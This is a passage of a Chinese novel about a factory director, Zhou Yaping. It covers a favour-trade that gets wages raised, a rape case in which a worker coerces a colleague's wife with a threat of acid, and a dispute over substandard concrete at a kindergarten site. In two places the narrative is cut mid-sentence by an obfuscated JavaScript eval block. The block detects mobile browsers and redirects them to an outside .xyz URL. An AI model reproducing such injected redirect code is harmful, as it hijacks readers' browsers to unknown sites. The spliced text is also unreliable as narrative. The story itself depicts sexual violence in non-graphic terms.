看到周亚平他们失望的表情,韩处长安慰道:“我想了很久,正如周厂长说的,这件事情确实是很不合理的,地方政府的反对也是没有道理的。但既然地方政府有这一说法,我们也不能完全抛在脑后。这件事说复杂,其实也很简单。我们研究过,你们要求调整工人工资线条的请示报告,只要能让地方政府的劳资局在上面批示‘同意上报’几个字,我们就可以批准执行。这是对你们工作最大限度的支持了。” “哦!这么简单。”周亚平有点小惊喜。 “别高兴太早,即使这样,这件事可能也没有那么简单,否则,你的前任早就办成了,还会留给你?说明这是个烫手的山芋。” 周亚平表示真诚的感谢:“韩处长,万分感谢您的点拨。过去我们一直抱怨领导们不体谅基层的苦处,现在看来是我们自己工作没做到家。我明白了,真要给职工办成这件好事,关键在于我们需要搞好和地方政府的关系,取得他们的同情和支持。” “不要谢我,这是我们应该做的。你刚才说的思路是非常正确的,按此去做吧,我们一起努力,相信一定能解决问题。”这是韩处长的送别之言。 从部机关出来后,周、何二人找个招待所住下来。由于是第二天的返程机票,下午还有点时间,周亚平对何居靖说:“老何,你在北京还有没有私事要办?” “我没有什么事要办。” “好,那就陪我上街跑一趟。” “干嘛?” 周亚平笑笑:“来之前,我问女儿萌梦要帮她带什么好吃的东西,她指名要巧克力,而且必须是白色的巧克力。这巧克力不都是黑色的吗,上哪去找白色的呢?你帮我参谋参谋。” “行!没问题。” 两人在北京街上转悠了半天,跑了不少副食品商场,眼看已经过了吃晚饭的时间,还没有找到这种白色的巧克力。 周亚平感到绝望了,两人找了一家饺子馆,一人点了一份白菜瘦肉饺,狼吞虎咽地吃了起来。 结账时,周亚平问:“老板,请问哪个商店可以买到白色的巧克力?” 那位北京大叔一口京腔:“啥?白巧克力?你们到王府井大街去看看,那儿应该啥玩艺都有。” 跑遍了整个王府井大街,始终也未找到需要的品种。周亚平有点绝望了。好在有家糖果店老板指出了一条明路:“西单有一家专门经销进口糖果的门店,据说那里有这种白巧克力。” 折腾了到晚上8点钟,周亚平终于如愿买到了女儿喜爱的白巧克力。 周亚平、何居靖回厂后,立即将北京之行的情况在党委会上作了汇报。 冯庭怡听了后,不以为然地说:“周厂长,你说韩处长体谅基层,这是把人想得太好了。依我看,那个劳资处长就是一个老滑头,既然此事管辖权在部里,你直接发批文不就得了。表面上说同情我们厂,支持我们厂,却把皮球又踢回了我们厂。” “是呀,让我们去找政府劳资局,凭什么?人家几句话就可以把你顶回来:‘你们向部局的请示报告关我们什么事,需我们签字?’”有人附和。 “也不能这么说。人家大机关的干部们政策观念强,既然地方政府反对这件事,牵涉到国家劳动工资制度,他们只有谨慎行事。”欧阳昭民表达自己的意见。 龚书记说话了:“部人事局的官员确实不敢在地方政府反对的情况下发文,我觉得可以理解,他们是担心地方政府告到□□,把事情闹大,不值得。” 周亚平说:“我何尝不知道这是一种明哲保身的做法。但平心而论,无论谁坐到这个位置上,不会这样做?我之所以说韩处长替我们考虑问题,是由于他知道让地方政府签字的难度,但在他力所能及的范围里,把这个难度降到最低。大家想想,如果让地方政府签批:‘同意器材厂调整工人工资’和‘同意上报’,哪个更容易实现?” 肖进回答:“当然是‘同意上报’。看来韩处长还是动了脑筋,含含糊糊的一句‘同意上报’,其实谁签了都追究不了责任。我们只是同意你上报,至于你们上级批不批,怎么批,不关我事,即使批错了,也与我无关。” “对!就是这么回事。”周亚平说,“这就是官场哲学。当然,哪怕是这么几个无关痛痒的签字,也是非常不容易得到的。除非有很硬的关系或劳资局里有真心想帮助我们的大好人。对了,龚书记,你在地方政府里工作过,市劳资局里有没有熟人?” “县政府里倒是还有不少熟人,我找他们要这样的签字是没有问题的。”龚书记回复,“但市政府里确实想不起还有什么熟人,再则,我到企业工作这么长时间了,人一走,茶就凉,恐怕也无济于事。” “县政府签批没有用,必须是市政府。”周亚平喃喃地说。 龚书记最后作会议小结:“这件事一时半会还不可能解决,大家再想想办法吧,一定要找一个合适的时间,合适的方法,在一个合适的节点,才能去找市劳资局。决不能贸然去找,否则把事情搞砸了更难办。” 时光荏苒,从北京回来又是两个多月,这天上午,周亚平正在办公室处理杂务,敲门声遽然响起。 周亚平抬起头 :“请进!” 进门的是一个有点面熟的女子,但周亚平记不起她的姓名。来人注视着周亚平,说:“您就是周厂长吧。” “是的,请问您是……” “我是任秋水的太太,还记得吧,秋水的追悼会上我见过您。” “哦,难怪有点面熟,任太,请坐!”周亚平倒了杯开水递给她,“无论在职场还是在家庭,秋水都是一个很好的人。可惜英年早逝,任太太节哀顺变。” “一开始真的是无法‘顺变’,这道坎怎么也过不去,一想起他抛下我们孤儿寡母狠心走了,我就哭个不停。日子长了,也就好一些了。谢谢厂长的关心。”任太话锋转入正题,“我这次来找厂领导,主要是为我小孩顶职一事。” 按照当时的政策,国营企业职工去世后,可以由一名成年子女顶替参加工作。任秋水是厂工会的一名干事,是以工代干,即以工人身份代替干部工作,一个多月前因病去世。 周亚平记得,这件事办公会上议过,由于小任今年还未满18 周岁,因此不能顶职,按照规定,顶替指标只在当年有效。那个年代,招工指标多么不易,许多人都惋惜,任家浪费了一个顶职指标。 “这件事我知道,按规定成年小孩是可以当年顶职的,但可惜小任今年未满18周岁。” “如果我小孩到了18岁,我们就直接去办手续了,还来麻烦厂长干什么?”任太说话一点也不拐弯抹角。 周亚平仍然耐心地说服:“任太,这是政策明文规定的。小任不到18岁,我们不可能招童工。” 任太也感觉自己说话太急,口气缓和了一些:“周厂长,你放心,我在政府机关工作这么多年,这点道理还是懂得,不会无理取闹。我们现在要求的不是马上进厂,我知道这是完全不可能的。我家小孩今年16岁多了,我们是希望能保留顶替指标一年多,等我家孩子满18岁时,再来办理顶职手续。” 不等周亚平答话,任太继续说:“至于这样做政策是否允许,我也已经咨询过,特殊情况下,经所在单位领导集体讨论通过,可以破例办理。我们市已经有不少这样的实例。” “请问任太,你们家情况有何特殊呢?” “我们家就我一个人工作,要养活一个小孩和四个老人——秋水和我都是独生子女。这难道不特殊吗?”任太理直气壮地回答。 周亚平苦笑一声,心里想,现如今,哪家不是独生子女,这如果算特殊,那特殊的就太多了,但此话未说出口。 见厂长沉吟,任太絮絮地说:“周厂长,我家秋水经常和我讲您的故事,说您是个难得的好厂长,是个关心群众疾苦的厂长。我家这件事,您千万不能撒手不管呀!” “不是不管,工厂一千多名员工,都需要关心,都需要照顾。这一破例,今后大家都会学样。任太,我们有我们的难处呀。” 看来,任太是有备而来,见厂长表示为难,马上说:“我知道,如果只通过我找你们求情,就算你们同意了,单独为我家小孩批了延期顶替,今后旁人会拿来攀比,你们今后也很难开展工作。我想好了,这件事,我来找您的事,不要让职工知道,就算没有这件事。接下来,我让市劳资局领导给你们打电话,到时候你们可以把这件事推到劳资局去,上级单位的意见,工厂不可能不执行,旁人也无话可说。别人要攀比,可以,你也去找市劳资局,让他们打电话吧。” 听到这里,周亚平心里一激灵:“什么,任太,你在市劳资局有熟人?” 任太平静地说:“这有什么奇怪,我在政府机关工作这么多年,哪个地方没有几个熟人?市人事局郝副局长是我以前的老同事,我与他太太是闺蜜,我还是他们女儿的干妈。” “那太好了!”周亚平情不自禁地惊呼,因为他一直在为去劳资局找领导签字的事情而焦虑,现在无意中见到了曙光。 任太被周亚平突如其来的兴奋吓住了,连忙问:“厂长,厂长,怎么啦?” 知道自己失态,周亚平也不好意思了:“没有事!我是想,任太替我们考虑得太周全了。如果这样办,今后不会有太大的副作用,我们也不用担心其他职工来攀比。因此,我估计,只要市劳资局出面给我们打招呼,小任延期顶替这件事应该没有问题。” 听此一说,任太也非常高兴:“我就说嘛,周厂长是个聪明人,这样做既解决了职工家属的实际困难,又不会有什么后遗症。好!那我就去找老郝办这件事。谢谢周厂长!” “不要谢,这是我们应该做的。”周亚平心里想,很可能,到时候我们还要谢谢你。 任太刚走,周亚平迫不及待地去了党委书记办公室。 龚老爷子正在看当天的《人民日报》,见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479009|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周亚平匆匆赶来,诧异地问:“什么事,这么急急忙忙的?” “龚书记,好消息!真是应了那句老话,‘踏破铁鞋无觅处,得来全不费工夫’。我们打破脑袋想主意,千方百计找机会,都没有好办法,谁知机会找上门了!” 龚长贵听了这段话,一脸的疑惑:“周厂长,你这说的是什么事?” 这番话确实有点没头没脑,周亚平自己也觉得好笑。于是,找条凳子坐下来,把任太太来访的前前后后都给龚长贵说了一遍。最后,周亚平表明自己的态度:“龚书记,尽管按照任秋水家里的情况看,不能说是有很特殊的困难,需要破例延期顶替,但如果利用这个契机争取到市劳资局在我们调整工资的报告上签字,解决全厂工人的大福利,我觉得这个破例非常值得。” 龚长贵想了想,说:“好机会!确实是好机会。可以这么去办,在市劳资局领导找我们为小任延期顶替打招呼时,适时地提出我们厂工人工资调整一事,十有八九会得到支持,然后马上送报告去签字,这个困扰我们多年的问题就有可能解决了。” 停了一会,又说:“尽管这件事班子里应该不会有人反对,但还是要在党委会上投票通过,让大家都知道。” 果不其然,关于同意任秋水儿子延期顶替的决议,得到党委会全票通过。 此后第三天,一个电话打到周亚平办公室。周亚平提起话筒:“你好!请问哪位?” 电话那头是一个男子慢条斯理的声音:“你好!器材厂周厂长吗,我是市劳资局的郝毕城呀。” “哦,是郝局长啊,你好,你好!我们还正在商量,近期准备上门拜访。”周亚平心想,这个电话终于等到了。 “你们有什么事?”郝局长警惕地问。 “没什么大事,正常的工作汇报。”周亚平平静地回答,“郝局长,您有什么事?” “一点小事。贵厂工会不是有个姓任的干事吗,前不久不幸去世,他太太是我以前在区文化局工作时的老同事,她最近找了我,说由于孩子还未满18岁,因此不能顶职。如果孩子今后没有工作,她一个人要养活6口人——对了,她们两口子都是独生子女。孤儿寡母,我看确实怪可怜的。老同事请我说句话,我们共产党人虽然讲原则,但不能不讲人性。再则,孩子离18岁只有一年多了,只需要保留一年多时间的顶替指标。根据职工的特殊情况特殊处理,这是政策允许的,而且不需要上级部门批准,我们市有很多这样的事例。” “郝局长!……” 周亚平正准备开口,又被郝毕城打断:“听我说完,我这番话纯粹是作为任太的老同事,以一个老百姓的身份为贵厂职工说两句话,绝不是以劳资局长身份说的。你们在决策时,千万不要被我个人意见左右,该怎么办就怎么办。” 确定郝毕城已经说完,周亚平才开口:“郝局长,真的非常感谢您对我厂一个普通职工的关心。任太家的情况我们也了解一些,确实有一定的困难,这么难得的一个就业机会如果丢掉了,那就太可惜了。请您放心,关于小任延期顶替一事我们近期会召开办公会研究确定,我想应该没有太大的问题。” “那就好。行了,不打扰大厂长了,听说你们厂去年被评为市优秀企业,今年上半年超额完成生产任务,受到省里的表彰。你这厂长当得真不赖呀!” 周亚平赶忙接过话头:“托您的福,这两年工厂效益确实还可以,郝局长,我们这是苦干出来的。您都知道,我们厂大都是高温作业,工人们非常辛苦,尽管工厂效益还不错,但工人们的工资却很低。这是不是太不合理?” “周厂长,别发牢骚,相信我们国家,继续改革开放,一定会逐步解决这个多劳应多得的问题。” “对了,说到这里,郝局长,我开始跟您说过,最近我们准备去拜访贵局,就是希望在当前政策允许的情况下,请领导们帮助暂时解决一点问题。” “什么问题?” “ 郝局长,上个月我去北京,到部人事局汇报请示工作,部里同意我厂按照中央直属企业标准调整工人工资,让我们马上就此事递送请示报告。” “这是好事呀,抓紧时间上报呀!” “但部局要求,我厂的请示报告上,必须请贵局签批。” “不需要,你们厂的劳动工资关系直属中央部局,与我们地方政府没有关系。” 周亚平叹了口气:“是呀,我们开始也这样认为,但估计是部局出于尊重地方政府的意愿,一定要地方政府劳资部门签字。签批文字其实也很简单,只需要贵局签‘同意上报’四个字,其实就是走个过场,让你们知道这件事。” “哦……”郝毕城陷入沉默。 周亚平见电话那头没有声音,有点着急:“郝局,这对贵局来说是无关紧要的几个字,可对我们来说,是全厂工人的福音呀。你们无论如何要支持我们企业,支持我们艰苦奋斗的一线工人。您刚才不是说这是好事吗,那就帮助我们把这件好事做成功。” 又是一阵沉默,郝毕城最后表态:“好吧,这件事我们商量商量。” 电话挂断了。 与郝局长通话后,没有得到明确的答复,周亚平一直忐忑不安,不知郝毕城葫芦里卖的什么药。但不管怎样,周亚平按照领导班子的决定,先安排工厂人事科通知任太来办理小任延期顶职的手续。也算是兑现了给郝局长的诺言。 周亚平在焦急中又等待了两天,终于等来了市劳资局办公室的电话通知,让器材厂派人带着向部人事局的报告文件去签字、盖章。 有了这份由当地政府劳资部门签字盖章的请示报告,以下的一切变得十分顺利,不到半月,工厂就收到了部人事局关于同意器材厂按照中央直属企业工人工资标准执行的批文。 这几天,关于即将调整全厂工人工资的消息不胫而走,很快传遍了工厂的每个角落。想想,每个工人每个月将要凭空增加不少的收入,能不激起兴奋的涟漪? 周亚平和大家一样,沉浸在兴高采烈的气氛之中。 当天,周亚平正在车间巡查,龚长贵派人传话,请他赶快到他办公室去。 进了书记办公室,见屋内除了龚书记,还有组织科科长向敏德,两人都面色凝重。 看到周亚平进来,向科长将手中一份信函递给周亚平:“厂长,你先看看这封举报信。” “举报信?”周亚平一脸的迷惑,接过来马上翻看。 信函内容很简单,只有无头无尾的寥寥几行字:“上级领导赶快来制止呀,器材厂违反国家劳动工资制度,即将调整工人工资线条。你们赶快采取措施制止呀,否则来不及了!” “谁写的,这么恶毒?”周亚平气愤地问,同时把信函交还给向敏德。 向接过举报信:“谁知道呢?是市政府□□办收到,然后按照他们领导的意见,再寄回我们厂纪委的。” 龚长贵在办公室一边踱步,一边说:“这个告状的人肯定是我们厂的人,够阴险的,他就是想搅黄我们厂工人工资调整这件事。这是全厂百分之八十以上职工都得利的大好事,为什么要搅黄呢?如果搅黄了,这个人有什么好处呢?” “龚书记,我看先不管他这封信。既然写信之人是希望我们厂办不成这件好事,我们就偏要立即、马上、尽快把这件事办成、办好。看来市政府够意思,居然把举报信退回给我厂,这明显是知道真实情况。” 停了一会,周亚平接着说:“龚书记、向科长,当下之计,只有马上行动,一方面,召开班组长以上干部大会,宣传我们这次工资调整完全是按照国家政策执行的,合理、合法、合规。稳定大家情绪,不要被居心叵测之人蛊惑。另一方面,我马上召集有关部门和人员,做好工资调整的计算和列表造册,争取在最短的时间内把新的工资表册做好,把这个月的工资发放下去。就是要把生米煮成熟饭,以免夜长梦多。” “好!”向敏德大叫一声,“厂长说得对,造成了既成事实,神仙都无法逆转。” 龚书记笑笑:“看你们说的,好像我们干了什么见不得人的勾当。周厂长说的第一点很重要,要广为宣传,我们是根据部里的指示工作的,没有任何违规、违法行为,首先,我们自己要理直气壮。” 党政一把手统一意见后,器材厂工资调整的步伐加快,没过几天,从部局发文之日起补发的工资就发到了全厂工人手上。工人们欣喜之情溢于言表,在厂内奔走相告,互相向对方炫耀自己这一次增加了多少钱的工资。 事已毕,钱已发,此后再未发生任何风波。但这份奇诡的举报信究竟何人所为,因何而为,虽众说纷纭,但至今还是一个谜。当然,也有些热心研究器材厂政局风云,官场秘史的人十分肯定地回答,这些匿名信,是个别觊觎厂长职位的阴谋家筹划的,目的就是使工厂变成乱局,给周亚平制造麻烦以致让他下台。周亚平听了,淡淡地一笑:“厂长这活可是个又苦又累的活,谁想干,谁就来干吧,可不要祸害老百姓。” 11. 十一 周四下午,是器材厂“全面质量管理培训班”开课的时间。周亚平上任以来,特别重视现代企业管理理论的学习与实践,坚持每周一次组织各级领导及骨干人员对企业管理方面的知识进行学习和研讨。这天下午的课,由周亚平亲自主讲,内容是“数理统计与质量管理”。 按理说,数理统计的一些方法,不管是分层法、因果分析法,还是排列图法、直方图法,都是枯燥无味的数字游戏,但由于周亚平在备课时下足了功夫,讲课时旁征博引,时而讲一段工厂发生过的故事,时而插入一个当地的笑话,从而使听课的人员没有感到一点枯燥和烦闷,不知不觉在欢笑声中获得了知识和应用技巧。 这套方法,周亚平是从数学大家华罗庚的书里学来的。周亚平读过华老的“优选法平话”与“统筹方法平话”等书册,深受启发。特别是他读到书中用粉笔多长最合适的通俗道理来说明优选法的奥秘,用烧水、洗壶、洗碗、找茶叶、泡茶的过程选择来诠释统筹法的原理,更是佩服之至。他常对人说,一个数学天才讲深奥的数学原理,居然用这么浅显的文字和理论,真是太不容易了。 就在周亚平兴致勃勃地讲课过程中,保卫科陆晓天急匆匆地找到课堂上来了。 “周厂长,有点急事,讲课能不能暂停一会?” 周亚平望望一脸焦急的陆晓天,不情愿地对主持培训的冯庭怡说:“冯厂长,看来有急事,我先出去一下,下面你安排吧。”又向听众宣布:“今天我的课就先讲到这里啦 ,大家听冯厂长安排。”说完,和老冯一起离开了培训教室。 “什么事,这么着急?”周亚平边走边问。 “又出事了。牵涉到小方——方翩然,就是你原来那个徒弟。” 方翩然,一个聪明活泼的小伙子,他刚进厂时,周亚平那时还在二车间当工人,车间主任把他安排给周亚平当徒弟。虽然没过多久,周亚平就被提拔当上干部,离开了二车间,但师徒关系从此结下了。 “犯了什么事?”周亚平问。 “哎!还不又是□□里家伙那点事。”老陆不齿地说。 原来,方翩然的妻子胡莲芙与同班组的一个男人李坤煌由于经常在一起值晚班,夜深人静,孤男寡女在一起,日久生情,干起了苟且之事。 此事传到了小方耳中,激起一腔怒火,整天琢磨如何去报复。思来想去,觉得只有把自己戴的这顶绿帽子,再甩过去戴在姓李的家伙头上,才是最过瘾的报复办法。 于是,方翩然趁李的老婆许冬媛上晚班,悄悄来到她工作的电力值班室。 其实在此之前,两家经常来往,关系一直不错。因此,看到方翩然到来,开始许冬媛还笑着问:“方哥,今天怎么有时间过来?” 走近一看,见方翩然黑着脸,怒气冲冲,手里还拿着一个酒瓶,许冬媛慌了 :“方哥,怎么啦,出了什么事?” “什么事,都是你那个人渣老公干的好事!”方翩然拖过一张椅子,一屁股坐下,“他把我老婆给睡了。” “啊!有这样的事?”许冬媛大吃一惊。 “媛媛,也就是你老实,现在厂里可能你是唯一不知情的人。”方翩然情绪缓和下来,语调柔和地说。 许冬媛是个胆小怕事的女人,听到老公出轨的消息,心情极为杂乱,一时陷入沉默。 见到许冬媛一副可怜巴巴的样子,方翩然竟然有点怜香惜玉的感觉,反过来安慰她:“不气,不气,媛媛,我们不跟那个畜生一般见识。” 许冬媛低声问:“你要去告他?” “告他有什么用,最多给个行政记过处分,不痛不痒。”方回答。 “那你要干什么?”许有些慌乱。 “我要以他的什么道,治他的什么身。”方翩然文化程度不高,记不全这句经典:“以其人之道,还治其人之身。” “什么意思?”许冬媛一脸迷惑。 “媛媛,不要怕,我的意思是,只要你也跟我睡一次,这件事就扯平了,我从此再不找你老公的麻烦。” 许冬媛慌忙拒绝:“这怎么行!哪有这样的道理?” 见许反对,方翩然举起手中的酒瓶,摇晃了一下:“这是什么?这不是装的酒,是我从厂化验室偷来的硫酸,你如果不答应,我就去找你老公,我不会把他怎么样,只会把镪水倒在他脸上,让这个号称‘帅哥’的人破相,永远不再去祸害别的女人。” “不能这样干,方哥,千万不能这样干!这会让他比死还难受。” 在方翩然威逼利诱之下,许冬媛这个小女人最终和他发生了性关系。 刚开始,许冬媛不想将这件见不得人的事告诉任何人,包括她的丈夫。但那天下班后一直有一种愧疚感缠绕着她,使她惶惶不可终日,精神几近崩溃。 最终,她还是选择了原原本本将这件事告诉了自己的老公。 李坤煌听说此事,气不打一处来,思索后,决定向保卫科报案,以强奸罪控告方翩然。 自古以来,蓝圩镇这块地方民风开放,特别在男女关系方面更是如此。用文雅人的言词这是风流韵事遍乡镇,用批判者的语句是伤风败俗一团糟。器材厂身处其中,自然不会例外。 工厂以往没有少发生过各种不伦之恋和畸形之爱。有个女人,由于男女关系太滥,厂内人给的外号就叫“公共汽车”,形容她什么人都可以上。有个男人,人称猎色的老手,经常吹嘘一碗光头面就可以搞定一个女人。 群众里有不少这样的臭事,领导中也不乏这样的丑闻。周亚平之前的几任领导班子,就曾有两位掉在这个坑里。一位副厂长与一名声名狼藉的女孩上床被知情者当场逮住;还有一名副书记与亲侄女搞不伦,睡在一个被窝里,被人揭发。丑事败露后,最终给两名领导的处分是免职调离。 前面说的这些烂事,尽管很多,但都是男女双方心甘情愿,自愿成交。历史上,器材厂只出现过一起□□的事例。 那是发生在一对所谓的“模范夫妻”身上的故事。 易闵鉴与涂招娣是器材厂有名的一对“模范夫妻”,两人恩爱异常,无论是上下班或出门逛街,都是结伴同行。特别是,作为妻子的涂招娣,对自己的丈夫宠爱有加,什么好吃的好用的,都要先给丈夫;家里的家务活,从来不让丈夫插手。就连去粮店买米,妻子居然自己扛起一大袋大米往前走,也不让丈夫帮忙。 于是,蓝圩镇上经常看到这么奇特的一幕,瘦廋小小的妻子扛着一大袋东西,吭哧吭哧地前面走;高高大大的丈夫倒背着手,潇潇洒洒地后面跟。 世人不知怎么评价,涂招娣这是真爱还是犯傻。 据说,事情的发生就是因为,由于涂招娣年纪大了 ,易闵鉴对她兴趣不大,很长时间都没有与她行夫妻之礼。 涂感到奇怪,问易究竟怎么回事,是不是年纪大了,性能力不行了?易居然毫不隐讳,老老实实告诉她,自己性能力还是很强,但在涂身上激不起□□。许久都没有爽快过,只是因为没有和年轻貌美的姑娘上过床。 居然有这样愚蠢的女人,听了丈夫的一番话,涂招娣竟然一直为自己不能满足丈夫的欲望内疚不已。 星期日,涂招娣约了同车间的女工金秀莉到家里来玩,这个小金,就是前面提到的让前副厂长免职调离的女人。 到了中午吃饭时间,自然留下来午餐。涂招娣使出平生解数,做了一桌丰盛的菜肴,使小金吃得满面红光,一个劲地夸赞:“涂姐做的菜好吃,真好吃!” 易闵鉴拿出珍藏多年的“茅台”,使劲向小金劝酒:“秀莉,你闻闻,多香,好酒就是不一般。今天是你来了,我才开了这瓶酒,平时我自己都舍不得喝。”一边端起酒杯往小金嘴里倒。 “不能再喝了,易师傅,够了,够了。”小金嘟囔着。 酒足饭饱,金秀莉道谢后准备回家,涂招娣一把拉住:“刚喝完酒,马上到外面吹冷风,容易生病,秀莉,中午在我家休息一会再走吧。” 金秀莉喝了酒,正好有点晕晕乎乎,想想也是,休息休息再走。于是,就在涂姐安排的床上睡下了。 涂招娣出到客厅,向易闵鉴朝屋内努努嘴,径自在沙发上躺下来。 易闵鉴心照不宣地进了屋。 看到睡在自家床上一个姑娘的秀美躯体,易闵鉴控制不住冲动的欲望,像狼一样扑了上去。 金秀莉睡梦中感到带着一股腥臭味的大嘴罩住自己的嘴巴,同时一只大手在解开自己的裤带,一下惊醒过来:“干什么!干什么!” “秀秀,是我,太想你了,让我来一回吧。” “你……,易师傅,不行呀,不行!” 一人霸王硬上弓,一人在抗拒。 听到卧室内的喧闹声,涂招娣赶忙进了屋。 “哎,秀莉,都是好朋友,你就乖乖地让易大哥玩一回嘛。你不也是经常和别人玩的么。” 看到小金还在挣扎,涂走上前,使出蛮力,一手拿住小金的一条腿,往外分开,同时对易闵鉴嚷道:“还等什么,赶快上呀!” 就这样,在两人齐心合力下,易闵鉴达到了自己的目的。 此事过后,金秀莉告发了这对夫妻,最终法院判决两人同为□□罪,判刑入狱。女人被判□□犯,这成了当地的一个奇闻。 以上只是插曲。前面说到,这一次是李坤煌向保卫科报案,以强奸罪控告方翩然。 周亚平与陆晓天一起进了保卫科办公室。 老陆拿出一大叠问话记录,递给周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“因此案属于刑事犯罪,不宜久拖,准备马上送司法机关,走司法程序。请厂长看看这样行不行?” “行!按你们的工作程序去办。”周亚平毫不迟疑地回复陆晓天。 又补充一句:“对了,陆科长,你们必须把小方坦白交待整个过程及交出证物的情况如实告知公安机关,看是否符合从宽处理的条件。另外,把人送走后,你们要做好家属的工作。同时,利用这件事,大力进行法制教育,现在的年轻人,法盲太多,该上上普法课了。” 从保卫科回到办公室,周亚平心情一直非常郁闷。 小方虽然跟周亚平学徒的日子并不长,但在厂内,来往还是较多的,特别是周亚平未担任厂级领导之前,两人经常一起参加工厂的业余文艺活动,周在乐队担任小提琴手,方拉大提琴。其实,小方原来是吹奏萨克斯的乐手,他的大提琴也是向周亚平学的,由于小伙子聪明伶俐,又肯发愤练习,进步很快,后来居然成了厂乐队的首席大提琴。 由于两人“三观”不同,经常会为一些事发生龃龉。但由于方翩然始终很尊重自己的师傅,而周亚平虽然觉得他的一些观点非常极端,极为可怕,但在日常工作中又找不出他太大的毛病。故此,两人的关系还一直不错。 而现在,自己的徒弟成了犯罪嫌疑人,可能免不了牢狱之灾,周亚平百感齐交。想到一个一厂之主竟然管不好自己的徒弟,周亚平一股无名的悔疚。 思索中,周亚平突然想起,今天早晨上班前,接到了方翩然的大哥打来的一个电话,电话里老方莫名其妙的与自己寒暄了半天,最终说了句:“周厂长,请你多关心我的弟弟、你的徒弟,无论如何要关照关照。”当时不知何意,现在看来就是为了方犯案这件事。 想到此,周亚平马上拨通方翩然大哥的电话。 周亚平对电话那头说:“方大哥,你应该是早已知道小方的事情。不知小方是怎么对你说的?” “他就说厂里有个无赖和他老婆发生了不正当关系,他也报复了那个无赖,反过来和他老婆也上了床。但现在听说你们厂保卫科只打算追究我弟弟的责任。我也不知道究竟是怎么回事。” “方大哥,这里面有一个最关键的情节你弟弟没有跟你说,就是他是拿着一个号称装有硫酸的玻璃瓶去找别人的老婆,威胁如果不从,就要给她老公毁容。你是明白人,一种是两人勾搭成奸,一种是胁迫□□,两种性质完全不同,怎么叫只追究你弟弟责任呢?” “哦,我知道了。能不能就在厂内处理呢?最严重的处分我们都接受。” “不行呀!小方这是触犯了刑法,只能走司法程序。方大哥,我也无能为力。刚才我还在懊悔,我连自己的徒弟都管教不好,还当什么厂长?我对不起你们。”周亚平真诚地表示。 电话那边无言。 经过一系列的司法程序,方翩然最终被判三年有期徒刑。入狱以后,他大哥曾去探访,他对大哥说:“哥!以前我师傅老说我一些观点极端、可怕,我怎么也想不明白。现在我在牢里仔细思考,总算明白了一些,这次我进监狱,就是这些偏激的思想方法生出的恶果。请你放心,我一定努力改造,三年以后,再做一个好汉!” 12. 十二 器材厂总务科长徐茂林近段时间非常忙,一边忙着已建好的职工住宅的分配,一边忙着新建幼儿园和新五栋住宅楼的施工事宜。 两项都是非常棘手的任务,特别是第一项,几天来的吵吵嚷嚷、纷纷扰扰搞得老徐头都是大的。分配名单已公布第三榜,仍然有不少意见,就在此时,还有一堆人挤在总务科办公室里讨说法。 徐茂林压下满肚子的火气,向围住他的人群说:“大家安静一点,听我说几句心里话。6000平方米住宅分配,这是我厂的一件大喜事,大家应该喜气洋洋,干嘛搞得这样垂头丧气?说实话,有困难的家庭确实太多,房子无论怎么分,总有人不满意。但房子还是要分下去呀,老是吵吵嚷嚷有什么用?这一榜的名单,是经过职工代表大会审议通过的,你还能怎么办?” 见大家逐渐安静下来,徐科长接着说:“一些人觉得自己对工厂贡献大,没分到房子觉得委屈。平心而论,我们厂里,谁的贡献会比厂长还大?周厂长家住的房子许多人都是知道的,那还是老单身宿舍里的一间套房,又旧又小,他应该是最有资格住新房的。第一次讨论,分房小组就把周厂长列进了榜单,但厂长坚决反对,我们也没有办法,只能按厂长的意见执行。因此,这次分房没有厂长的份。” 人们一片沉寂,许茂林仍在苦口婆心地劝说:“大家把眼光放远点,随着工厂的发展,还在不停地搞基建,今年计划的新五栋宿舍楼和幼儿园不是都在开工吗,明年春,又有新房分配了。” 一阵躁动,人们在老徐的再三劝说下,陆续离开了总务科办公室。 宿舍分配的事刚告一段落,下午,徐茂林又因新建幼儿园的建材质量问题来到工地。 熊工程师一直在工地监工,见徐茂林到来,立即迎了上来:“徐科长,是这么回事,今天送到工地的一批混凝土预制板,我仔细检查了一遍,发觉质量有些问题,后来施工单位一个工人不小心说漏了嘴,才知道他们用了一批不合格的河沙。我叫他们更换,他们坚持说没有问题,不同意换。” 徐茂林听了后对施工单位的一位作业组长说:“请把你们的施工经理叫来。” 施工经理到场后,徐茂林和熊工一道,请他查看那批预制板的质量。 其实,这位经理心里有数,随便看了看,就对徐茂林说:“徐科长,这件事我知道,这批预制板确实是用了一点杂质较多的沙子;但实话实说,这种预制板用在这种二层的建筑物上是应该没有问题的。” “没问题?”徐茂林有点激动,“这是幼儿园工程,今后是祖国的花朵活动的地方。你也有儿子、女儿,也有孙子、孙女,将心比心,如果让他们住在这里,万一发生房屋质量事故,你该怎么面对?” 停停,老徐继续说:“还是按我们熊工说的,坚决要求更换。” 经理无可奈何地说:“好吧,就按你们说的,马上更换。不过,要耽误几天的工期,这点要说清楚。” “那也是没办法的事,我们认了。” 器材厂的老幼儿园,原来是由一排低矮的杂货仓库改建,潮湿阴暗,而且没有活动场所,很不像个样子。 为了新建一个好的幼儿园,周亚平与徐茂林、熊工多次研究确定方案。按周亚平的要求,必须建设一个让全厂职工满意的,完全符合幼教工作需求的,十年内都不会落伍的幼儿园。 熊工是名牌大学土木系毕业的高材生,原来对于分配到工厂而未进设计院一直耿耿于怀,觉得怀才不遇。这次,工厂把这么重大的设计任务交给他,让他像打了鸡血针一样兴奋。他知道当地城市里没有像样的幼儿园,特意申请出差,跑了好几个外地城市去观摩、学习,又翻阅多种图书、资料,最后运用平生之学,精心拿出了设计图初稿。大家看不懂其它图纸,但外观模拟图一出,使所有人都感到震惊。 “不错,真不错!”周亚平赞叹,“但我们是门外汉,熊工,你还要拿到市设计研究院去请他们提提意见。” 